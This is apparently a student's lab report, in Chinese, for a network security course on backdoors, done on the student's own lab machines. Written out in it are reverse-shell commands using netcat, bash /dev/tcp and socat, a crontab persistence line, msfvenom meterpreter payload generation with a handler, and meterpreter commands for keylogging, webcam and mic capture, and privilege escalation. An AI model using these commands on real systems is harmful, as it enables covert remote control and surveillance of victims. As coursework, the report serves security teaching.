20165229 NetSec Exp2後門原理與實踐

一、基礎問題

1. 例舉你能想到的一個後門進入到你系統中的可能方式？

• 打開一個掛碼網頁，會自動下載安裝並執行木馬程序，在系統中留下後門。
• 將不明來源的u盤或硬盤接入個人電腦。
• 在非官方網站下載軟件，可能綁有可執行文件。

2.例舉你知道的後門如何啟動起來(win及linux)的方式？

• Windows：設置為開機自啟動、修改註冊表項、用戶執行帶有後門的可執行文件
• Linux：通過crontab功能將後門設為定時啟動；也可以通過對正常軟件綁定註入shellcode

3.Meterpreter有哪些給你映像深刻的功能？

• 植入後門後可以控制被控主機的shell，獲取主機的錄音錄像、截圖、鍵盤輸入等。

4.如何發現自己有系統有沒有被安裝後門？

• 安裝殺毒軟件，事實監控電腦，定時殺毒。
• 防火墻打開，看有沒異常窗口。

----

二、常用後門工具。

1.natcat

是一個底層工具，進行基本的TCP UDP數據收發。常被與其他工具結合使用，起到後門的作用。

Linux: 一般自帶netcat,"man netcat" 或"man nc"可查看其使用說明。
Mac: 系統自帶，"man nc",查看其使用說明。

實驗步驟

1.Mac獲取Linux Shell
（1）.前期準備，獲得主機ip mac ifconfig

圖1

（2）.主控端/服務端MAC運行指令如下,5229是nc監聽的端口號。

（3）.受控端/客戶機運行bash -i >& /dev/tcp/192.168.199.101

（4）.Mac主機顯示Linux命令行提示符，並可運行任何Linux指令。

圖2

2.Linux獲取Mac Shell

(1)Linux啟動監聽
nc -l -p 5229

(2).Mac連接Linux
bash -i >& /dev/tcp/192.168.20.154/5229 0>&1

(3).LInux獲取Mac Shell

圖3

3.使用nc傳輸文件
（1)使用nc -l 5229監聽5229端口
（2）.Kali反彈連接Mac的5229端口。nc 192.168.199.101 5229

圖4

圖5

### 三、Meterpreter

後門就是一個程序。

• 傳統的理解是：有人編寫一個後門程序，大家拿來用。後來有人編寫一個平臺能生成後門程序。這個平臺把後門的
  基本功能（基本的連接、執行指令），
  擴展功能（如搜集用戶信息、安裝服務等功能），
  • 編碼模式，
  • 運行平臺，
  • 以及運行參數
  • 全都做成零件或可調整的參數。用的時候按需要組合，就可以生成一個可執行文件。
• 典型的平臺包括有
  • intersect
  • Metaspolit的msfvenom指令

  • Veil-evasion

實驗內容

任務一：使用netcat獲取主機操作Shell，cron啟動。

(1)在Mac的環境下，監聽5229端口.
(2).在Kali的環境下，用crontab -e制定編輯一條定時任務
(3).在最後一行添加03 * * * * /bin/netcat 192.168.199.101 5229 -e /bin/sh意思是在每個小時的第3分鐘反向連接Windows主機的5229端口
(4)到達時間後在Mac輸入ls。

圖6

---

任務二：使用socat獲取主機操作Shell, 任務計劃啟動

• socat簡介:
  • socat是一個多功能的網絡工具，名字來由是“ Socket CAT”，可以看作是netcat的N倍加強版。
  • socat是一個兩個獨立數據通道之間的雙向數據傳輸的繼電器。這些數據通道包含文件、管道、設備（終端或調制解調器等）、插座（Unix，IP4，IP6 - raw，UDP，TCP）、SSL、SOCKS4客戶端或代理CONNECT。socat支持廣播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、記錄和進程間通信的不同模式。
  • socat的主要特點就是在兩個數據流之間建立通道；且支持眾多協議和鏈接方式：ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。

將mac作為受害機，Kali作為攻擊機

實驗步驟

(1).在Mac上下載socat，終端輸入命令brew install socat

圖7
(2).在受害機上執行socat tcp-l:5229system:bash,pty,stderr指令，進行端口轉發/
(3).在攻擊機上執行socat - tcp:192.168.199.101:5229獲取受害機shell操作權（Ip為受害機IP）。

圖8

----

任務三：使用MSF meterpreter生成可執行文件，利用ncat傳送到主機並運行獲取主機Shell

（1）在Kali上執行指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.218 LPORT=5229 -f exe > 20165229_backdoor.exe,生成一個後門程序，這裏的IP地址應該是攻擊機的IP，也是就是Kali的ip。

圖9

(2).我通過ncat.exe -l 5229 > 2016529_backdoor.exe無法連接，就直接將可執行文件復制到了Windows中。
(3).在Kali中使用命令msmsfconsole指令進入msf控制臺。
(4).接著使用一連串命令進行監聽。

use exploit/multi/handler      //handler使用監聽模塊，設置payload
set payload windows/meterpreter/reverse_tcp //使用和生成後門程序時相同的payload
set LHOST 192.168.199.218 //這裏用的是LinuxIP，和生成後門程序時指定的IP相同
set LPORT 5229 //應該和生成的後門端口相同
exploit //開始監聽

圖10

(5).在Windows中運行後門。

圖11
(6).監聽成功

四：使用MSF meterpreter（或其他軟件）生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容，並嘗試提權

在監聽成功後，可以通過一連串的命令來控制Windows。

record_mic //截獲一段音頻，-d選項設置錄制時間
webcam_snap//使用攝像頭拍照
keyscan_start //監聽鍵盤輸入
keyscan_dump //讀取鍵盤輸入
screenshot //進行截屏
getuid//查看當前用戶
getsystem //指令進行提權
webcam stream //攝像頭進行錄像
sysinfo //獲得目標系統信息，機器名，操作西廳等
ps //獲得受害機上進程信息

功能實在太強大了，我就隨意po幾個圖。

監聽鍵盤輸入

獲取一段錄音

使用攝像頭拍照

三、實驗中遇到的問題

在前面任務一二，我都用Mac與Linux完美的配合，但到任務三就卡住了，mac無法運行.exe文件，於是我在網上看了很多教程，想把它做出來。

 msfvenom?-p osx/x86/shell_reverse_tcp?LHOST=<Your IP Address>?LPORT=<Your Port to Connect On>?-f macho?>?shell.macho
sudo ./install

這是生成mac可執行文件的指令，但是傳輸過程中不會彈傳輸成功，雖然能有文件，也不能運行，實在無計可施，就用了虛擬機。希望老師給點指點。

四、實驗總結

本次試驗非常有趣，收獲頗豐，在拍照的瞬間感覺自己像個黑客，實驗過程很艱辛，但是最後還是很有成就感，以後應該努力學習網絡攻防技術，可以更好的了解黑客入侵的過程。

20165229 NetSec Exp2後門原理與實踐